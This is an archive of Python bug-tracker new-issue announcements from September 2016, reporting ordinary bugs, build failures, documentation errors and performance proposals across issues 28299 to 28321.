From report at bugs.python.org  Wed Sep 28 08:47:27 2016
From: report at bugs.python.org (David Staab)
Date: Wed, 28 Sep 2016 12:47:27 +0000
Subject: [New-bugs-announce] [issue28299] DirEntry.is_dir() evaluates True
 for a file on Windows
Message-ID: <1475066847.35.0.133990491826.issue28299@psf.upfronthosting.co.za>


New submission from David Staab:

I'm using Python 3.5.2 on Windows 10 Pro to run the following code with the attached file structure.

The test code is:
from os import DirEntry, scandir

def test_is_dir():
    for item in os.scandir(TEST_DIR):
        if item.is_dir:
            print(item.path)
    return

TEST_DIR = '.'
test_is_dir()


The console output is:
===============
Connected to pydev debugger (build 162.1967.10)
.\20160707
.\scratchpad.py

Process finished with exit code 0
===============

I would expect to only see '.\20160707', but "if item.is_dir:" always evaluates to True.

I notice that changing the import line to "from os import DirEntry, scandir" yields the exception "ImportError: cannot import name 'DirEntry'".

----------
components: Windows
files: testmodule.zip
messages: 277611
nosy: David Staab, paul.moore, steve.dower, tim.golden, zach.ware
priority: normal
severity: normal
status: open
title: DirEntry.is_dir() evaluates True for a file on Windows
type: behavior
versions: Python 3.5
Added file: http://bugs.python.org/file44865/testmodule.zip

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28299>
_______________________________________

From report at bugs.python.org  Wed Sep 28 09:32:53 2016
From: report at bugs.python.org (Shlomi Fish)
Date: Wed, 28 Sep 2016 13:32:53 +0000
Subject: [New-bugs-announce] [issue28300] [PATCH] Fix misspelled
 "implemented" word
Message-ID: <1475069573.72.0.0295213559618.issue28300@psf.upfronthosting.co.za>


New submission from Shlomi Fish:

This patch fixes two places where "implement" was misspelled. I hereby disclaim all ownership of my changes (but crediting me will be appreciated.)

----------
files: python-fix-spelling-of-implement.patch
keywords: patch
messages: 277616
nosy: shlomif
priority: normal
severity: normal
status: open
title: [PATCH] Fix misspelled "implemented" word
versions: Python 3.7
Added file: http://bugs.python.org/file44866/python-fix-spelling-of-implement.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28300>
_______________________________________

From report at bugs.python.org  Wed Sep 28 09:53:11 2016
From: report at bugs.python.org (Lou Picciano)
Date: Wed, 28 Sep 2016 13:53:11 +0000
Subject: [New-bugs-announce] [issue28301] python3.4-config
 --extension-suffix reports '.cpython-34m.so'
Message-ID: <1475070791.83.0.774355189291.issue28301@psf.upfronthosting.co.za>


New submission from Lou Picciano:

python3.4-config --extension-suffix reports '.cpython-34m.so'

Is this behavior as intended? Many build integrations may expect(?) an .so extension?

----------
components: Extension Modules
messages: 277618
nosy: DrLou
priority: normal
severity: normal
status: open
title: python3.4-config --extension-suffix reports '.cpython-34m.so'
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28301>
_______________________________________

From report at bugs.python.org  Wed Sep 28 10:07:24 2016
From: report at bugs.python.org (RAMESH PAMPANA)
Date: Wed, 28 Sep 2016 14:07:24 +0000
Subject: [New-bugs-announce] [issue28302] Unpacking numpy array give list
Message-ID: <1475071644.11.0.394277975452.issue28302@psf.upfronthosting.co.za>


New submission from RAMESH PAMPANA:

Unpacking numpy array gives list rather numpy array.

>>> import numpy as np
>>> a = np.array([1,2,3,4])
>>> x, *y, z = a
>>> type(a)
<class 'numpy.ndarray'>
>>> type(y)
<class 'list'>>
>> type(x)
<class 'numpy.int32'>

----------
components: Regular Expressions
messages: 277622
nosy: ezio.melotti, mrabarnett, rpampana
priority: normal
severity: normal
status: open
title: Unpacking numpy array give list
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28302>
_______________________________________

From report at bugs.python.org  Wed Sep 28 10:08:16 2016
From: report at bugs.python.org (Shlomi Fish)
Date: Wed, 28 Sep 2016 14:08:16 +0000
Subject: [New-bugs-announce] [issue28303] [PATCH] Fix broken grammar in
 "pydoc3 unittest"
Message-ID: <1475071696.39.0.282852342204.issue28303@psf.upfronthosting.co.za>


New submission from Shlomi Fish:

Currently the comment in the example in "pydoc3 unittest" reads:

?
## test method names begin 'test*'
?

This is broken grammar and the attached patch against the hg default branch corrects it. All tests are passing and I disclaim any implicit or explicit ownership of my changes.

----------
components: Library (Lib)
files: python-fix-broken-grammar-in-pydoc3-unittest.patch
keywords: patch
messages: 277623
nosy: shlomif
priority: normal
severity: normal
status: open
title: [PATCH] Fix broken grammar in "pydoc3 unittest"
versions: Python 3.7
Added file: http://bugs.python.org/file44867/python-fix-broken-grammar-in-pydoc3-unittest.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28303>
_______________________________________

From report at bugs.python.org  Wed Sep 28 11:58:50 2016
From: report at bugs.python.org (Adam Roberts)
Date: Wed, 28 Sep 2016 15:58:50 +0000
Subject: [New-bugs-announce] [issue28304] Condition.wait() doesn't raise
 KeyboardInterrupt
Message-ID: <1475078330.68.0.71026474863.issue28304@psf.upfronthosting.co.za>


New submission from Adam Roberts:

This was fixed for Python 3 in https://bugs.python.org/issue8844 but needs to be backported.

----------
components: Library (Lib)
messages: 277639
nosy: Adam Roberts
priority: normal
severity: normal
status: open
title: Condition.wait() doesn't raise KeyboardInterrupt
type: behavior
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28304>
_______________________________________

From report at bugs.python.org  Wed Sep 28 14:31:22 2016
From: report at bugs.python.org (Ron Barak)
Date: Wed, 28 Sep 2016 18:31:22 +0000
Subject: [New-bugs-announce] [issue28305] Make error for Python3.6 on Cygwin
Message-ID: <1475087482.69.0.357195237112.issue28305@psf.upfronthosting.co.za>


New submission from Ron Barak:

Successfully did:

$ gunzip Python-3.6.0b1.tgz
$ tar xvf Python-3.6.0b1.tar
$ pushd Python-3.6.0b1
$ ./configure --disable-ipv6 --with-optimizations

However, when trying to do:

$ make profile-opt

I get:

...

gcc -Wno-unused-result -Wsign-compare -DNDEBUG -g -fwrapv -O3 -Wall -Wstrict-prototypes    -std=c99 -Wextra -Wno-unused-result -Wno-unused-parameter -Wno-missing-field-initializers -fprofile-generate   -I. -IInclude -I./Include    -DPy_BUILD_CORE  -c ./Modules/signalmodule.c -o Modules/signalmodule.o
In file included from Include/Python.h:85:0,
                 from ./Modules/signalmodule.c:6:
./Modules/signalmodule.c: In function 'fill_siginfo':
./Modules/signalmodule.c:960:60: error: 'siginfo_t {aka struct <anonymous>}' has no member named 'si_band'
     PyStructSequence_SET_ITEM(result, 6, PyLong_FromLong(si->si_band));
                                                            ^
Include/tupleobject.h:62:75: note: in definition of macro 'PyTuple_SET_ITEM'
 #define PyTuple_SET_ITEM(op, i, v) (((PyTupleObject *)(op))->ob_item[i] = v)
                                                                           ^
./Modules/signalmodule.c:960:5: note: in expansion of macro 'PyStructSequence_SET_ITEM'
     PyStructSequence_SET_ITEM(result, 6, PyLong_FromLong(si->si_band));
     ^
make[2]: *** [Makefile:1731: Modules/signalmodule.o] Error 1
make[2]: Leaving directory '/home/Administrator/python/3.6/Python-3.6.0b1'
make[1]: *** [Makefile:511: build_all_generate_profile] Error 2
make[1]: Leaving directory '/home/Administrator/python/3.6/Python-3.6.0b1'
make: *** [Makefile:496: profile-opt] Error 2

----------
components: Build
files: python3.6Make.err.txt
messages: 277650
nosy: ronbarak
priority: normal
severity: normal
status: open
title: Make error for Python3.6 on Cygwin
type: compile error
versions: Python 3.6
Added file: http://bugs.python.org/file44872/python3.6Make.err.txt

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28305>
_______________________________________

From report at bugs.python.org  Wed Sep 28 15:33:50 2016
From: report at bugs.python.org (Viorel Tabara)
Date: Wed, 28 Sep 2016 19:33:50 +0000
Subject: [New-bugs-announce] [issue28306] incorrect output "int division or
 modulo by zero" in Handling Exceptions tutorial
Message-ID: <1475091230.17.0.768129423451.issue28306@psf.upfronthosting.co.za>


New submission from Viorel Tabara:

I'm reading the Python 3.5.2 documentation at:
  
   https://docs.python.org/3/tutorial/errors.html#handling-exceptions

which shows the following example:

   >>> def this_fails():
   ...     x = 1/0
   ...
   >>> try:
   ...     this_fails()
   ... except ZeroDivisionError as err:
   ...     print('Handling run-time error:', err)
   ...
   Handling run-time error: int division or modulo by zero 

Running the code as a script produces:

   $ python3 -V
   Python 3.5.2
   $ python3 p.py
   Handling run-time error: division by zero

   $ python2 -V
   Python 2.7.12
   $ python2 p.py
   ('Handling run-time error:', ZeroDivisionError('integer division or modulo by zero',))
   
The same output is listed for 3.6 and 3.7 tutorials but I don't have those 
versions installed on my system.

----------
assignee: docs at python
components: Documentation
messages: 277657
nosy: docs at python, viorel
priority: normal
severity: normal
status: open
title: incorrect output "int division or modulo by zero" in Handling Exceptions tutorial
type: behavior
versions: Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28306>
_______________________________________

From report at bugs.python.org  Thu Sep 29 04:49:56 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 29 Sep 2016 08:49:56 +0000
Subject: [New-bugs-announce] [issue28307] Accelerate 'string' % (value,
 ...) by using formatted string literals
Message-ID: <1475138996.48.0.897803092987.issue28307@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

For now using formatted string literals (PEP498) is the fastest way of formatting strings.

$ ./python -m perf timeit -s 'k = "foo"; v = "bar"' -- '"%s = %r" % (k, v)'
Median +- std dev: 2.27 us +- 0.20 us

$ ./python -m perf timeit -s 'k = "foo"; v = "bar"' -- 'f"{k!s} = {v!r}"'
Median +- std dev: 1.09 us +- 0.08 us

The compiler could translate C-style formatting with literal format string to the equivalent formatted string literal. The code '%s = %r' % (k, v) could be translated to

    t1 = k; t2 = v; f'{t1!r} = {t2!s}'; del t1, t2

or even simpler if k and v are initialized local variables.

$ ./python -m perf timeit -s 'k = "foo"; v = "bar"' -- 't1 = k; t2 = v; f"{t1!s} = {t2!r}"; del t1, t2'
Median +- std dev: 1.22 us +- 0.05 us

This is not easy issue and needs first implementing the AST optimizer.

----------
components: Interpreter Core
messages: 277688
nosy: eric.smith, serhiy.storchaka
priority: low
severity: normal
status: open
title: Accelerate 'string' % (value, ...) by using formatted string literals
type: performance
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28307>
_______________________________________

From report at bugs.python.org  Thu Sep 29 04:50:04 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 29 Sep 2016 08:50:04 +0000
Subject: [New-bugs-announce] [issue28308] Accelerate 'string'.format(value,
 ...) by using formatted string literals
Message-ID: <1475139004.07.0.645331102167.issue28308@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

For now using formatted string literals (PEP498) is the fastest way of formatting strings.

$ ./python -m perf timeit -s 'k = "foo"; v = "bar"' -- '"{!s} = {!r}".format(k, v)'
Median +- std dev: 3.96 us +- 0.17 us

$ ./python -m perf timeit -s 'k = "foo"; v = "bar"' -- 'f"{k!s} = {v!r}"'
Median +- std dev: 1.09 us +- 0.08 us

The compiler could translate new-style formatting with literal format string to the equivalent formatted string literal. The code '{!s} = {!r}'.format(k, v) could be translated to

    t1 = k; t2 = v; f'{t1!r} = {t2!s}'; del t1, t2

or even simpler if k and v are initialized local variables.

$ ./python -m perf timeit -s 'k = "foo"; v = "bar"' -- 't1 = k; t2 = v; f"{t1!s} = {t2!r}"; del t1, t2'
Median +- std dev: 1.22 us +- 0.05 us

This is not easy issue and needs first implementing the AST optimizer.

----------
components: Interpreter Core
messages: 277689
nosy: eric.smith, serhiy.storchaka
priority: low
severity: normal
status: open
title: Accelerate 'string'.format(value, ...) by using formatted string literals
type: performance
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28308>
_______________________________________

From report at bugs.python.org  Thu Sep 29 05:01:26 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Thu, 29 Sep 2016 09:01:26 +0000
Subject: [New-bugs-announce] [issue28309] Accelerate string.Template by
 using formatted string literals
Message-ID: <1475139686.03.0.137512666256.issue28309@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

Proposed patch makes string.Template compiling template to formatted string literal. Since for now using formatted string literals is the fastest way of formatting strings, this significantly speeds up Template substitution.

$ ./python -m perf timeit -s 'from string import Template; s = Template("$who likes $what")' -- 's.substitute(who="tim", what="ham")'

Unpatched:  Median +- std dev: 46.1 us +- 4.2 us
Patched:    Median +- std dev: 11.1 us +- 0.5 us

The drawback is that compiling template adds high overhead.

$ ./python -m perf timeit -s 'from string import Template' -- 's = Template("$who likes $what"); s.substitute(who="tim", what="ham")'

Unpatched:  Median +- std dev: 51.7 us +- 1.5 us
Patched:    Median +- std dev: 672 us +- 38 us

The benefit of using compiled templates is achieved only if make at least 20 substitutions with the same template.

Third-party template engines can use the same approach in Python 3.6+.

----------
components: Library (Lib)
messages: 277690
nosy: eric.smith, georg.brandl, serhiy.storchaka
priority: low
severity: normal
status: open
title: Accelerate string.Template by using formatted string literals
type: performance
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28309>
_______________________________________

From report at bugs.python.org  Thu Sep 29 05:02:10 2016
From: report at bugs.python.org (Markus Unterwaditzer)
Date: Thu, 29 Sep 2016 09:02:10 +0000
Subject: [New-bugs-announce] [issue28310] Mixing yield and return with value
 is allowed
Message-ID: <1475139730.96.0.643080676334.issue28310@psf.upfronthosting.co.za>


New submission from Markus Unterwaditzer:

The attached example code raises a SyntaxError in Python 2, but is syntactically valid in Python 3. The return value is ignored and an empty generator is produced. I see no reason for this behavioral change.

----------
components: Interpreter Core
files: lol.py
messages: 277691
nosy: untitaker
priority: normal
severity: normal
status: open
title: Mixing yield and return with value is allowed
versions: Python 3.3, Python 3.4, Python 3.5, Python 3.6
Added file: http://bugs.python.org/file44877/lol.py

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28310>
_______________________________________

From report at bugs.python.org  Thu Sep 29 05:03:55 2016
From: report at bugs.python.org (Michael Felt)
Date: Thu, 29 Sep 2016 09:03:55 +0000
Subject: [New-bugs-announce] [issue28311] AIX shared library extension
 modules installation broken - Python2.7
Message-ID: <1475139835.31.0.110522529855.issue28311@psf.upfronthosting.co.za>


New submission from Michael Felt:

issue#25825 is closed - and had python2.7 removed - so, want to mention there is something broken - a long time it would seem on AIX - for building packages after python and ensurepip are installed.

Currently trying to pip install mercurial; later a regular "make build"

PIP INSTALL

    running build_ext
    building 'mercurial.base85' extension
    creating build/temp.aix-5.3-2.7
    creating build/temp.aix-5.3-2.7/mercurial
    xlc_r -I/opt/include -I/opt/buildaix/include -O2 -DNDEBUG -O -I/opt/include/python2.7 -c mercurial/base85.c -o build/temp.aix-5.3-2.7/mercurial/base85.o
    ./Modules/ld_so_aix xlc_r -bI:./Modules/python.exp build/temp.aix-5.3-2.7/mercurial/base85.o -o build/lib.aix-5.3-2.7/mercurial/base85.so
    unable to execute './Modules/ld_so_aix': No such file or directory
    error: command './Modules/ld_so_aix' failed with exit status 1

    ----------------------------------------
    Command "/opt/bin/python -c "import setuptools, tokenize;__file__='/tmp/pip-build-zmElG2/mercurial/setup.py';exec(compile(getattr(tokenize, 'open', open)(__file__).read().replace('\r\n', '\n'), __file__, 'exec'))" install --record /tmp/pip-0lo0Bk-record/install-record.txt --single-version-externally-managed --compile" failed with error code 1 in /tmp/pip-build-zmElG2/mercurial

MAKE BUILD
root at x064:[/data/prj/python/mercurial/mercurial-3.9.1]/opt/bin/make PREFIX=/opt/ build
python setup.py  build
running build
running build_mo
running build_py
copying mercurial/__modulepolicy__.py -> build/lib.aix-5.3-2.7/mercurial
running build_ext
building 'mercurial.base85' extension
xlc_r -I/opt/include -I/opt/buildaix/include -O2 -DNDEBUG -O -I/opt/include/python2.7 -c mercurial/base85.c -o build/temp.aix-5.3-2.7/mercurial/base85.o
./Modules/ld_so_aix xlc_r -bI:./Modules/python.exp build/temp.aix-5.3-2.7/mercurial/base85.o -o build/lib.aix-5.3-2.7/mercurial/base85.so
unable to execute './Modules/ld_so_aix': No such file or directory
error: command './Modules/ld_so_aix' failed with exit status 1
Makefile:55: recipe for target 'build' failed
make: *** [build] Error 1


Problem seems to be in _sysconfigdata.py

root at x064:[/opt/lib/python2.7]grep ld_so_aix *.py
_sysconfigdata.py: 'BLDSHARED': './Modules/ld_so_aix xlc_r -bI:./Modules/python.exp',
_sysconfigdata.py: 'LDCXXSHARED': '/opt/lib/python2.7/config/ld_so_aix xlc_r -bI:/opt/lib/python2.7/config/python.exp',
_sysconfigdata.py: 'LDSHARED': './Modules/ld_so_aix xlc_r -bI:./Modules/python.exp',

SOLUTION:
set LDSHARED to same value as LDSHARED, i.e.,
'LDSHARED': '/opt/lib/python2.7/config/ld_so_aix xlc_r -bI:/opt/lib/python2.7/config/python.exp'

If this has already be done for Python2.7 - then perhaps issue#25825 should have Python2.7 restored - and this closed.

Otherwise - please repair.

----------
messages: 277692
nosy: Michael.Felt
priority: normal
severity: normal
status: open
title: AIX shared library extension modules installation broken - Python2.7
versions: Python 2.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28311>
_______________________________________

From report at bugs.python.org  Thu Sep 29 06:12:38 2016
From: report at bugs.python.org (Michael Felt)
Date: Thu, 29 Sep 2016 10:12:38 +0000
Subject: [New-bugs-announce] [issue28312] Minor change - more direct hint
 re: multiple machine sizes and LONG_BIT conflicts
Message-ID: <1475143958.19.0.0194605363834.issue28312@psf.upfronthosting.co.za>


New submission from Michael Felt:

I have been trying to build (pip install) mercurial - for ages. I kept running into this message:

    "/opt/include/python2.7/pyport.h", line 887.2: 1506-205 (S) #error "LONG_BIT definition appears wrong for platform (bad gcc/glibc config?)."

And - finally, I figured out what I -- WAS -- doing wrong.

I package python as 64-bit, but when I just install python and then try pip install mercurial the message shows up.

The problem goes away when I first export OBJECT_MODE

export OBJECT_MODE=64

The little enhancement would be to change the hint from

... (bad gcc/glibc config?) to something that hints at
machine size, e.g., (bad default bit-size for compiler?)

----------
messages: 277695
nosy: Michael.Felt
priority: normal
severity: normal
status: open
title: Minor change - more direct hint re: multiple machine sizes and LONG_BIT conflicts
type: enhancement

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28312>
_______________________________________

From report at bugs.python.org  Thu Sep 29 11:28:28 2016
From: report at bugs.python.org (qubodup)
Date: Thu, 29 Sep 2016 15:28:28 +0000
Subject: [New-bugs-announce] [issue28313] ttk Style().configure() overwrites
 Tk().option_add() Button but not Label
Message-ID: <1475162908.88.0.380159075782.issue28313@psf.upfronthosting.co.za>


New submission from qubodup:

The following code will result in a small label and a big button:

from tkinter import *
from tkinter.ttk import *

root = Tk()

root.option_add("*Font", "sans-serif 12")

s = Style()
s.configure('TButton', font=('courier', 40))
s.configure('TLabel', font=('courier', 40))

Label(root, text="lbl").pack()
Button(root, text="bttn").pack()

root.mainloop()


It seems to me that both should have the same style. Removing the root.option_add line fixes it of course but this is a stripped-down example and in other cases it might be needed.

----------
components: Tkinter
files: 1475162805-.png
messages: 277706
nosy: qubodup
priority: normal
severity: normal
status: open
title: ttk Style().configure() overwrites Tk().option_add() Button but not Label
type: behavior
versions: Python 3.5
Added file: http://bugs.python.org/file44880/1475162805-.png

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28313>
_______________________________________

From report at bugs.python.org  Thu Sep 29 15:44:06 2016
From: report at bugs.python.org (Dmitry Shachnev)
Date: Thu, 29 Sep 2016 19:44:06 +0000
Subject: [New-bugs-announce] [issue28314] ElementTree:
 Element.getiterator(tag) broken in 3.6
Message-ID: <1475178246.36.0.289281608925.issue28314@psf.upfronthosting.co.za>


New submission from Dmitry Shachnev:

The documentation says that getiterator() still accepts a tag argument, but it does not:

>>> from xml.etree.ElementTree import Element
>>> el = Element('foo')
>>> el.getiterator('bar')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
SystemError: ../Python/getargs.c:1508: bad argument to internal function
>>> el.getiterator(tag='bar')
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
TypeError: iter() takes at most 1 argument (140172072006928 given)

This is with Python 3.6.0 beta 1 on Debian GNU/Linux amd64.

----------
components: Library (Lib)
messages: 277717
nosy: mitya57
priority: normal
severity: normal
status: open
title: ElementTree: Element.getiterator(tag) broken in 3.6
type: behavior
versions: Python 3.6

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28314>
_______________________________________

From report at bugs.python.org  Thu Sep 29 20:17:25 2016
From: report at bugs.python.org (Viorel Tabara)
Date: Fri, 30 Sep 2016 00:17:25 +0000
Subject: [New-bugs-announce] [issue28315] incorrect "in ?" output in
 'divide' example at "Defining Clean-up Actions" in tutorial
Message-ID: <1475194645.41.0.947079052008.issue28315@psf.upfronthosting.co.za>


New submission from Viorel Tabara:

At https://docs.python.org/3.5/tutorial/errors.html#defining-clean-up-actions 
when I'm running the "divide('2', '1')" example I get:

  File "<stdin>", line 1, in <module>

instead of the documentation output of:

   File "<stdin>", line 1, in ? 

The same message is included with the 2.7 tutorial.

To wit:

   $ python3
   Python 3.5.2 (default, Sep 14 2016, 11:28:32)
   [GCC 6.2.1 20160901 (Red Hat 6.2.1-1)] on linux
   Type "help", "copyright", "credits" or "license" for more information.
   >>> def divide(x, y):
   ...     try:
   ...             result = x / y
   ...     except ZeroDivisionError:
   ...             print('division by zero!')
   ...     else:
   ...             print('result is', result)
   ...     finally:
   ...             print('executing finally clause')
   ...
   >>> divide(2, 1)
   result is 2.0
   executing finally clause
   >>> divide(2, 0)
   division by zero!
   executing finally clause
   >>> divide('2', '1')
   executing finally clause
   Traceback (most recent call last):
   File "<stdin>", line 1, in <module>
   File "<stdin>", line 3, in divide
   TypeError: unsupported operand type(s) for /: 'str' and 'str'


   $ python2
   Python 2.7.12 (default, Sep  2 2016, 15:40:50)
   [GCC 6.2.1 20160901 (Red Hat 6.2.1-1)] on linux2
   Type "help", "copyright", "credits" or "license" for more information.
   >>> def divide(x, y):
   ...     result = x / y
   KeyboardInterrupt
   >>> def divide(x, y):
   ...     try:
   ...             result = x / y
   ...     except ZeroDivisionError:
   ...             print('division by zero!')
   ...     else:
   ...             print('result is', result)
   ...     finally:
   ...             print('executing finally clause')
   ...
   >>> divide(2, 1)
   ('result is', 2)
   executing finally clause
   >>> divide(2, 0)
   division by zero!
   executing finally clause
   >>> divide('2', '1')
   executing finally clause
   Traceback (most recent call last):
   File "<stdin>", line 1, in <module>
   File "<stdin>", line 3, in divide
   TypeError: unsupported operand type(s) for /: 'str' and 'str'
  

Nice tutorial by the way ;) Thanks!

----------
assignee: docs at python
components: Documentation
messages: 277731
nosy: docs at python, viorel
priority: normal
severity: normal
status: open
title: incorrect "in ?" output in 'divide' example at "Defining Clean-up Actions" in tutorial
type: behavior
versions: Python 2.7, Python 3.5

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28315>
_______________________________________

From report at bugs.python.org  Fri Sep 30 02:31:55 2016
From: report at bugs.python.org (Sabine Maennel)
Date: Fri, 30 Sep 2016 06:31:55 +0000
Subject: [New-bugs-announce] [issue28316] descriptor and repr get into
 conflict
Message-ID: <1475217115.9.0.838082905984.issue28316@psf.upfronthosting.co.za>


New submission from Sabine Maennel:

I was working with descriptors and hit on an error, that I do not understand. 
I attach a protocol of my interactive python session that will show you what happened and the session is reproducible:

I had a class employing a descriptor: 
class Descriptor(object):
    def __init__(self, name):
        self.name = name
    def __set__(self, instance, val):
        print('Updating', self.name, 'for', instance)
        instance.__dict__[self.name] = val

class A:
    x = Descriptor('x')
    def __init__(self, name, x):
        self.x = x
        self.name = name
    def __repr__(self):
        return "I am {}".format(self.name)

if defined like this it hits an error when I want to initialize it:
a = A('a', 2)
Traceback (most recent call last):
  File "<stdin>", line 1, in <module>
  File "<stdin>", line 4, in __init__
  File "<stdin>", line 5, in __set__
  File "<stdin>", line 7, in __repr__
AttributeError: 'A' object has no attribute 'name'
Updating x for 

The error could be fixed by just exchanging the assignments in the __init__ of A:
class A:
    x = Descriptor('x')
    def __init__(self, name, x):
        self.name = name
        self.x = x
    def __repr__(self):
        return "I am {}".format(self.name)
Now a = A('a', 2) works as expected. But this seems weird to me.

----------
files: descriptor_and_repr_error
messages: 277740
nosy: Sabine.maennel at gmail.com
priority: normal
severity: normal
status: open
title: descriptor and repr get into conflict
type: crash
versions: Python 3.5
Added file: http://bugs.python.org/file44891/descriptor_and_repr_error

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28316>
_______________________________________

From report at bugs.python.org  Fri Sep 30 10:21:20 2016
From: report at bugs.python.org (Serhiy Storchaka)
Date: Fri, 30 Sep 2016 14:21:20 +0000
Subject: [New-bugs-announce] [issue28317] Improve support of FORMAT_VALUE in
 dis
Message-ID: <1475245280.55.0.378844922584.issue28317@psf.upfronthosting.co.za>


New submission from Serhiy Storchaka:

FORMAT_VALUE packs the information about conversion flags and boolean flag that denotes whether format specifier is passed on the stack in one integer argument. It is not easy to decode this information in disassemble output. Proposed patch makes disassembler producing human readable representation of FORMAT_VALUE argument.

$ echo 'f"{a} {b:4} {c!r} {d!r:4}"' | ./python -m dis
  1           0 LOAD_NAME                0 (a)
              2 FORMAT_VALUE             0
              4 LOAD_CONST               0 (' ')
              6 LOAD_NAME                1 (b)
              8 LOAD_CONST               1 ('4')
             10 FORMAT_VALUE             4 (with format)
             12 LOAD_CONST               0 (' ')
             14 LOAD_NAME                2 (c)
             16 FORMAT_VALUE             2 (repr)
             18 LOAD_CONST               0 (' ')
             20 LOAD_NAME                3 (d)
             22 LOAD_CONST               1 ('4')
             24 FORMAT_VALUE             6 (repr, with format)
             26 BUILD_STRING             7
             28 POP_TOP
             30 LOAD_CONST               2 (None)
             32 RETURN_VALUE

----------
components: Library (Lib)
files: dis_format_string.patch
keywords: patch
messages: 277754
nosy: eric.smith, serhiy.storchaka
priority: normal
severity: normal
stage: patch review
status: open
title: Improve support of FORMAT_VALUE in dis
type: enhancement
versions: Python 3.6, Python 3.7
Added file: http://bugs.python.org/file44892/dis_format_string.patch

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28317>
_______________________________________

From report at bugs.python.org  Fri Sep 30 13:54:38 2016
From: report at bugs.python.org (Guillaume Chorn)
Date: Fri, 30 Sep 2016 17:54:38 +0000
Subject: [New-bugs-announce] [issue28318] Python unittest.mock.mock_calls
 stores references to arguments instead of their values
Message-ID: <1475258078.84.0.445986439292.issue28318@psf.upfronthosting.co.za>


New submission from Guillaume Chorn:

In the unittest.mock library, when a Mock object stores the calls made on it in its `mock_calls` attribute, it appears to store references to the call arguments instead of the actual values of the call arguments. In cases where call args are mutable types, this results in the undesirable behavior below:

```python
import mock

arg = ['one']

test_function(arg)

# passes
test_function.assert_has_calls([mock.call(['one'])])

arg += ['two']

test_function(arg)

# fails, even though we just verified the first call above!
test_function.assert_has_calls([
    mock.call(['one']),
    mock.call(['one','two'])
])

# passes, even though we didn't make the exact same call twice!
test_function.assert_has_calls([
    mock.call(['one', 'two']),
    mock.call(['one', 'two'])
])
```

----------
components: Tests
messages: 277764
nosy: Guillaume Chorn
priority: normal
severity: normal
status: open
title: Python unittest.mock.mock_calls stores references to arguments instead of their values
type: behavior
versions: Python 3.4

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28318>
_______________________________________

From report at bugs.python.org  Fri Sep 30 14:10:09 2016
From: report at bugs.python.org (Vladimir Rutsky)
Date: Fri, 30 Sep 2016 18:10:09 +0000
Subject: [New-bugs-announce] [issue28319] typo in lzma module documentation
Message-ID: <1475259009.88.0.349229961864.issue28319@psf.upfronthosting.co.za>


New submission from Vladimir Rutsky:

"Specifying custom filter chains" section contains:

> It only supports a single The delta filter supports only one option, dist.

Probably should be just:

> The delta filter supports only one option, dist.

----------
assignee: docs at python
components: Documentation
messages: 277765
nosy: docs at python, vrutsky
priority: normal
severity: normal
status: open
title: typo in lzma module documentation
versions: Python 3.5, Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28319>
_______________________________________

From report at bugs.python.org  Fri Sep 30 16:59:42 2016
From: report at bugs.python.org (Maciej Szulik)
Date: Fri, 30 Sep 2016 20:59:42 +0000
Subject: [New-bugs-announce] [issue28320] Hostname validation is False by
 default in imaplib
Message-ID: <1475269182.78.0.632593451926.issue28320@psf.upfronthosting.co.za>


New submission from Maciej Szulik:

According to David [1] hostname validation should be True by default for the imaplib, my tests clearly show something different. Additionally he states you Christian were doing so, that's why I'm opening this not to forget about the problem and discuss eventually what should happen.


[1] http://bugs.python.org/review/25591/diff/16398/Lib/test/test_imaplib.py#newcode451

----------
assignee: christian.heimes
components: email
messages: 277772
nosy: barry, christian.heimes, maciej.szulik, r.david.murray
priority: normal
severity: normal
stage: needs patch
status: open
title: Hostname validation is False by default in imaplib
type: security
versions: Python 3.7

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28320>
_______________________________________

From report at bugs.python.org  Fri Sep 30 18:57:38 2016
From: report at bugs.python.org (kuglee)
Date: Fri, 30 Sep 2016 22:57:38 +0000
Subject: [New-bugs-announce] [issue28321] Plistlib: Half of the double width
 characters are missing when writing binary plist
Message-ID: <1475276258.41.0.817705927799.issue28321@psf.upfronthosting.co.za>


Changes by kuglee <kuglee at gmail.com>:


----------
components: Library (Lib)
files: input.plist
nosy: kuglee
priority: normal
severity: normal
status: open
title: Plistlib: Half of the double width characters are missing when writing binary plist
type: behavior
versions: Python 3.5
Added file: http://bugs.python.org/file44897/input.plist

_______________________________________
Python tracker <report at bugs.python.org>
<http://bugs.python.org/issue28321>
_______________________________________